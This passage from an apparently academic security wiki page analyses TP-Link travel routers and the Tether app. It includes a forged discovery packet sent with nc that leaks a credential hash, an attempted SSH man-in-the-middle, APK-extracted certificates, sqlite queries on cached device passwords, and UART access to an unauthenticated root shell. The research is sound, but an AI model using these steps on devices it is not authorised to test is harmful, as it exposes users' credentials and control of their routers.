	// 0020   01 66 4e 22 ae fa 00 c8 b9 f4 01 00 00 02 00 b0   .fN&amp;quot;............&lt;br /&gt;
	// 0030   12 01 00 00 03 e5 6c 37 99 5b 00 01 00 04 c0 a8   ......l7.[......&lt;br /&gt;
	// 0040   01 01 ff 00 00 00 00 06 00 04 ff ff ff 00 ff 00   ................&lt;br /&gt;
	// 0050   00 00 00 02 00 11 39 38 3a 44 41 3a 43 34 3a 36   ......98:DA:C4:6&lt;br /&gt;
	// 0060   45 3a 30 30 3a 46 43 ff 00 00 00 03 00 0c 54 50   E:00:FC.......TP&lt;br /&gt;
	// 0070   2d 4c 69 6e 6b 5f 30 30 46 43 ff 00 00 00 00 04   -Link_00FC......&lt;br /&gt;
	// 0080   00 04 00 0d c8 8f ff 00 00 00 00 05 00 0a 54 4c   ..............TL&lt;br /&gt;
	// 0090   2d 57 52 39 30 32 41 43 ff 00 00 08 00 04 00 00   -WR902AC........&lt;br /&gt;
	// 00a0   00 01 ff 00 00 00 00 09 00 0e 57 69 72 65 6c 65   ..........Wirele&lt;br /&gt;
	// 00b0   73 73 52 6f 75 74 65 72 ff 00 00 10 00 28 65 64   ssRouter.....(ed&lt;br /&gt;
	// 00c0   63 38 37 66 37 39 37 32 37 31 39 66 66 33 36 64   c87f7972719ff36d&lt;br /&gt;
	// 00d0   30 37 36 66 61 30 35 34 30 65 33 39 62 62 46 46   076fa0540e39bbFF&lt;br /&gt;
	// 00e0   30 30 30 30 30 30 ff 00 00 00                     000000....&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Forged Unicast Discovery Request plus Response Example&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;echo -e &#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x11&#039;&#039;\x01&#039;&#039;\x00&#039;&#039;\x00&#039;&#039;\x02&#039;&#039;\x89&#039;&#039;\xfc&#039;&#039;\x17&#039;&#039;\xe0&#039;&#039;\x92&#039; | nc -u 192.168.1.1 20002 | hexdump -C&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;hexdump&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
00000000  01 00 00 02 00 b0 12 01  00 00 02 89 d2 9d a4 13  |................|&lt;br /&gt;
00000010  00 01 00 04 c0 a8 01 01  ff 00 00 00 00 06 00 04  |................|&lt;br /&gt;
00000020  ff ff ff 00 ff 00 00 00  00 02 00 11 39 38 3a 44  |............98:D|&lt;br /&gt;
00000030  41 3a 43 34 3a 36 45 3a  30 30 3a 46 43 ff 00 00  |A:C4:6E:00:FC...|&lt;br /&gt;
00000040  00 03 00 0c 54 50 2d 4c  69 6e 6b 5f 30 30 46 43  |....TP-Link_00FC|&lt;br /&gt;
00000050  ff 00 00 00 00 04 00 04  00 0d c8 8f ff 00 00 00  |................|&lt;br /&gt;
00000060  00 05 00 0a 54 4c 2d 57  52 39 30 32 41 43 ff 00  |....TL-WR902AC..|&lt;br /&gt;
00000070  00 08 00 04 00 00 00 01  ff 00 00 00 00 09 00 0e  |................|&lt;br /&gt;
00000080  57 69 72 65 6c 65 73 73  52 6f 75 74 65 72 ff 00  |WirelessRouter..|&lt;br /&gt;
00000090  00 10 00 28 65 64 63 38  37 66 37 39 37 32 37 31  |...(edc87f797271|&lt;br /&gt;
000000a0  39 66 66 33 36 64 30 37  36 66 61 30 35 34 30 65  |9ff36d076fa0540e|&lt;br /&gt;
000000b0  33 39 62 62 46 46 30 30  30 30 30 30 ff 00 00 00  |39bbFF000000....|&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Point of interest&amp;lt;/b&amp;gt;: edc87f7972719ff36d076fa0540e39bb (32B) FF000000 (8B)&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;SSH Man-in-the-middle&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;Using [https://github.com/jtesta/ssh-mitm ssh-mitm], it was possible to interfear the credential on connnection establishment between the mobile App and a device. However, the connection then breaks down because Tether notices that something is wrong. I suspect this has to do with an SSH tunnel or similar. Unfortunately I don&#039;t know how the Tether App exchanges data via SSH.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Reverse Engineering&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The APK can be decompiled using [https://ibotpeaches.github.io/Apktool/ Apktool] and [https://github.com/skylot/jadx jadx].&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/tp-link-root-CA.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; openssl x509 -in tp-link-root-CA.pem --text&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Certificate:&lt;br /&gt;
    Data:&lt;br /&gt;
        Version: 3 (0x2)&lt;br /&gt;
        Serial Number:&lt;br /&gt;
            4f:9c:74:99:ae:d0:9c:83:47:09:0b:e1:9e:6c:d1:f7&lt;br /&gt;
        Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
        Issuer: CN = tp-link-CA&lt;br /&gt;
        Validity&lt;br /&gt;
            Not Before: Jan 19 08:27:52 2018 GMT&lt;br /&gt;
            Not After : Jan 19 08:37:52 2068 GMT&lt;br /&gt;
        Subject: CN = tp-link-CA&lt;br /&gt;
        Subject Public Key Info:&lt;br /&gt;
            Public Key Algorithm: rsaEncryption&lt;br /&gt;
                RSA Public-Key: (2048 bit)&lt;br /&gt;
                Modulus:&lt;br /&gt;
                    00:b8:61:bc:9f:9c:c4:50:dd:63:e7:0b:af:53:3e:&lt;br /&gt;
                    29:00:83:2e:ae:12:87:6e:97:d4:52:ef:9b:d9:a7:&lt;br /&gt;
                    05:1c:a4:ba:89:4f:61:34:95:af:0f:28:57:72:28:&lt;br /&gt;
                    58:e5:6c:fa:6a:af:66:e0:3e:52:65:c8:16:de:4d:&lt;br /&gt;
                    f5:62:83:4d:b6:bc:ed:0e:37:60:da:ac:3b:01:a5:&lt;br /&gt;
                    fc:e5:2f:7d:fc:6d:01:55:b2:17:92:da:e1:b3:7e:&lt;br /&gt;
                    0e:5b:5f:56:03:f8:5a:0f:0b:ad:dd:d1:61:2d:e9:&lt;br /&gt;
                    be:80:24:51:29:45:dc:9a:ea:9c:85:97:3c:e1:d6:&lt;br /&gt;
                    3b:24:55:5f:84:f7:09:72:2e:26:b1:18:cb:08:53:&lt;br /&gt;
                    4e:d2:1a:3d:39:7f:8c:67:07:ce:e0:12:da:78:0a:&lt;br /&gt;
                    8a:56:80:28:af:aa:df:e0:15:d5:b4:ed:31:8d:81:&lt;br /&gt;
                    c3:28:ed:1f:6f:70:16:2c:b2:78:12:31:9e:ab:a6:&lt;br /&gt;
                    22:7a:a3:e2:62:53:c5:12:a4:66:e4:fa:ef:05:74:&lt;br /&gt;
                    e6:d0:8b:90:a2:0c:a0:c9:5a:4a:e0:b1:eb:fc:ad:&lt;br /&gt;
                    b4:ed:92:f2:57:7d:c3:c4:b2:db:b1:48:12:10:95:&lt;br /&gt;
                    67:a5:95:2f:fd:65:2e:8d:78:e5:20:38:31:22:fc:&lt;br /&gt;
                    99:64:26:22:5c:ed:dd:95:ed:bf:30:4b:e9:99:99:&lt;br /&gt;
                    3a:25&lt;br /&gt;
                Exponent: 65537 (0x10001)&lt;br /&gt;
        X509v3 extensions:&lt;br /&gt;
            X509v3 Key Usage:&lt;br /&gt;
                Digital Signature, Certificate Sign, CRL Sign&lt;br /&gt;
            X509v3 Basic Constraints: critical&lt;br /&gt;
                CA:TRUE&lt;br /&gt;
            X509v3 Subject Key Identifier:&lt;br /&gt;
                C6:ED:A2:05:14:EC:79:FE:62:36:7B:00:0D:58:4C:24:34:16:8B:A9&lt;br /&gt;
            1.3.6.1.4.1.311.21.1:&lt;br /&gt;
                ...&lt;br /&gt;
    Signature Algorithm: sha256WithRSAEncryption&lt;br /&gt;
         1e:76:31:a8:dd:fb:0a:37:71:be:41:b1:3a:3a:df:3d:8f:b1:&lt;br /&gt;
         b6:f2:97:80:02:31:46:b0:eb:c3:71:50:cc:ba:d4:e8:a1:c7:&lt;br /&gt;
         79:9c:2f:32:c9:aa:22:19:70:a7:8f:88:7b:24:2e:a2:c9:17:&lt;br /&gt;
         b4:1f:4f:d4:ea:8e:f8:b3:32:31:49:56:0b:0b:b9:5b:9b:50:&lt;br /&gt;
         15:ca:07:3a:b2:37:ed:ca:2a:54:1c:8b:43:ce:de:61:fe:39:&lt;br /&gt;
         b8:72:68:4e:c1:cd:5f:aa:ad:2d:cf:75:54:e0:b0:25:85:bf:&lt;br /&gt;
         c0:e4:80:b4:d1:b9:d4:96:c4:be:d5:c1:5a:1e:75:ce:e5:47:&lt;br /&gt;
         3e:44:ae:81:a0:27:7d:e7:44:60:91:d2:78:1c:5b:dd:7d:b4:&lt;br /&gt;
         b4:c0:44:34:0e:a5:42:e6:ce:e9:5c:75:67:99:80:6f:b4:3c:&lt;br /&gt;
         b5:f4:c6:32:50:22:31:44:bd:b3:b1:47:56:7e:83:13:2e:a4:&lt;br /&gt;
         1c:f4:ad:61:68:92:65:98:ad:c8:1a:f1:e5:a2:5b:38:d0:21:&lt;br /&gt;
         ad:ff:01:20:55:27:af:6c:ad:5e:fb:b6:b5:a5:7c:bb:a6:90:&lt;br /&gt;
         28:5b:5e:4f:62:eb:83:57:04:a9:dc:7b:42:66:96:5d:18:f4:&lt;br /&gt;
         e0:b5:9c:c3:ea:ad:b4:0a:9f:37:27:75:20:00:e1:f7:a3:0f:&lt;br /&gt;
         fa:8c:42:7d&lt;br /&gt;
-----BEGIN CERTIFICATE-----&lt;br /&gt;
MIIDBzCCAe+gAwIBAgIQT5x0ma7QnINHCQvhnmzR9zANBgkqhkiG9w0BAQsFADAV&lt;br /&gt;
MRMwEQYDVQQDEwp0cC1saW5rLUNBMCAXDTE4MDExOTA4Mjc1MloYDzIwNjgwMTE5&lt;br /&gt;
MDgzNzUyWjAVMRMwEQYDVQQDEwp0cC1saW5rLUNBMIIBIjANBgkqhkiG9w0BAQEF&lt;br /&gt;
AAOCAQ8AMIIBCgKCAQEAuGG8n5zEUN1j5wuvUz4pAIMurhKHbpfUUu+b2acFHKS6&lt;br /&gt;
iU9hNJWvDyhXcihY5Wz6aq9m4D5SZcgW3k31YoNNtrztDjdg2qw7AaX85S99/G0B&lt;br /&gt;
VbIXktrhs34OW19WA/haDwut3dFhLem+gCRRKUXcmuqchZc84dY7JFVfhPcJci4m&lt;br /&gt;
sRjLCFNO0ho9OX+MZwfO4BLaeAqKVoAor6rf4BXVtO0xjYHDKO0fb3AWLLJ4EjGe&lt;br /&gt;
q6YieqPiYlPFEqRm5PrvBXTm0IuQogygyVpK4LHr/K207ZLyV33DxLLbsUgSEJVn&lt;br /&gt;
pZUv/WUujXjlIDgxIvyZZCYiXO3dle2/MEvpmZk6JQIDAQABo1EwTzALBgNVHQ8E&lt;br /&gt;
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUxu2iBRTsef5iNnsADVhM&lt;br /&gt;
JDQWi6kwEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZIhvcNAQELBQADggEBAB52Majd&lt;br /&gt;
+wo3cb5BsTo63z2Psbbyl4ACMUaw68NxUMy61Oihx3mcLzLJqiIZcKePiHskLqLJ&lt;br /&gt;
F7QfT9TqjvizMjFJVgsLuVubUBXKBzqyN+3KKlQci0PO3mH+ObhyaE7BzV+qrS3P&lt;br /&gt;
dVTgsCWFv8DkgLTRudSWxL7VwVoedc7lRz5EroGgJ33nRGCR0ngcW919tLTARDQO&lt;br /&gt;
pULmzulcdWeZgG+0PLX0xjJQIjFEvbOxR1Z+gxMupBz0rWFokmWYrcga8eWiWzjQ&lt;br /&gt;
Ia3/ASBVJ69srV77trWlfLumkChbXk9i64NXBKnce0Jmll0Y9OC1nMPqrbQKnzcn&lt;br /&gt;
dSAA4fejD/qMQn0=&lt;br /&gt;
-----END CERTIFICATE-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; ./assets/rsa/app_public_key.pem&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----BEGIN PUBLIC KEY-----&lt;br /&gt;
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAviMEj2Kss5OZzWS1Qyfz&lt;br /&gt;
ErRbg9wjDRvLem1enx/cr8CvSETdMtEctRSQdwvdpOWVFEhGQXeNSbs5me55u8ZI&lt;br /&gt;
eE3ph2JOW5PU++PsnvUIqqf8AJB1h+j0DcE+7tlsLRquskpNK9p6L/ziB8s/MaeA&lt;br /&gt;
r//Nkhvdo32ax16UyzpeaOuReaLspDEHPN6+C7q6GFRZ8v0ILkQAFfGAEy94DI6Q&lt;br /&gt;
CeXwBA90zLDDwKnyFwfp6r1Yi/1pUWzyXQLKmxzZJoiYO/J16fvyR4ILqzt40fyY&lt;br /&gt;
cPsg+hpZUeGotBEt3AqTToeWPHbHKPCTgjMmYYGI0eqwbnMKKYMdZ34fViEDHhUy&lt;br /&gt;
ewIDAQAB&lt;br /&gt;
-----END PUBLIC KEY-----&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Android Cache&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The Tether app caches username, password and other information from configured devices. These information are encrypted using an AES/CBC/PKCS7Padding (256bit) cipher.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Model&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Java&amp;quot;&amp;gt;DEVICE                 (DEVICE_ID, MAC, USER_NAME, PASSWORD, NICK_NAME, NAME, FW_VERSION);&lt;br /&gt;
RE_EXTENDED_NETWORK    (SSID, PASSWORD);&lt;br /&gt;
&lt;br /&gt;
FUNCTION_POSITION      (DEVICE_MODEL, FUNCTION_KEY, PAGE, POSITION);&lt;br /&gt;
BSSID_RECORD           (BSSID, MODEL, HW_VERSION, FW_VERSION);&lt;br /&gt;
RE_DISTANCE_IGNORE     (DEVICE_ID, IGNORE,IGNORE_BIND);&lt;br /&gt;
DEVICE_STATISTICS      (ID, TPLINK_ID, HOST_NAME, MAC);&lt;br /&gt;
DEVICE_RATE            (MAC, TIME, HAVETRIGGER, MODELNAME, HARDWAREVERSION, FIRMWAREVERSION, APPRATEDTRACKER);&lt;br /&gt;
DEVICE_RECORD          (DEVICE_ID, INTO_PARENTAL_CONTROL_TIMES, ONEMESH_VER_TRACKED, SYSTEM_INFO_TRACKED, OPERATION_MODE_TRACKED, OPERATION_MODE_CHANGE_TRACKED);&lt;br /&gt;
CLIENTS_RECORD         (ID, MAC, DEVICE_ID, CLIENT_TRACKED, ONEMESH_AVAILABLE_DEVICE_TRACKED, ONEMESH_ADDED_DEVICE_TRACKED);&lt;br /&gt;
DEVICE_RECORE_VERSION  (DEVICE_ID, HOMECARE_VERSION_TRACKED);&lt;br /&gt;
RE_DISTANCE_IGNORE_V2  (DEVICE_ID, NEAR_IGNORE, FAR_IGNORE, HAS_POST);&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; TP_TETHER_CACHE.DB: Access&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;$ cd /data/data/com.tplink.tether/databases&lt;br /&gt;
$ sqllite3 TP_TETHER_CACHE.DB&lt;br /&gt;
&lt;br /&gt;
&amp;gt; .tables&lt;br /&gt;
&amp;gt; SELECT USER_NAME, PASSWORD FROM DEVICE;&lt;br /&gt;
&lt;br /&gt;
# USER_NAME: CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
# PASSWORD:  CCB759C153B0AFFE39B6F7218238413B&lt;br /&gt;
&lt;br /&gt;
Cipher: AES/CBC/PKCS7Padding (256bit)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the TL-WR902AC has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/TE7WR902ACV3/Internal-Photos/TL-WR902AC-Internal-photo-rev1-3526178.iframe internal photos] provided to the FCC, which revealed at least the position of the two clips holding the enclosure together. Additionally the top an bottom part of the case where lightly molded together. This requires the usage of some force when opening. The TL-WR802N is not molded together but hast 3 clips instead.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Back.png|PCB Back&lt;br /&gt;
image:TL-WR902AC_V3_PCB_Front.png|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=280px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case_bottom.png|Bottom Case&lt;br /&gt;
image:TL-WR902AC_V3_Case_top.png|Top Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=550px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_Case.png|Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=450px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_Back.jpg|PCB Back&lt;br /&gt;
image:TL-WR802N_V4_PCB_Front.jpg|PCB Front&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=480px&amp;gt;&lt;br /&gt;
image:TL-WR802N_V4_PCB_in_Case.jpg|PCB in Case&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. Both investigated devices share the same UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;). But the bootloader uses &amp;lt;code&amp;gt;115200 (7N1)&amp;lt;/code&amp;gt;. (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs7&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Both devices provide a root shell without any need of authentification.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;UART Pin Assignment&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:TL-WR902AC_V3_UART_Pin_assignment.jpg|TL-WR902AC V3&lt;br /&gt;
image:TL-WR802N_V4_UART_Pin_assignment.jpg|TL-WR802N V4&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootloader&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
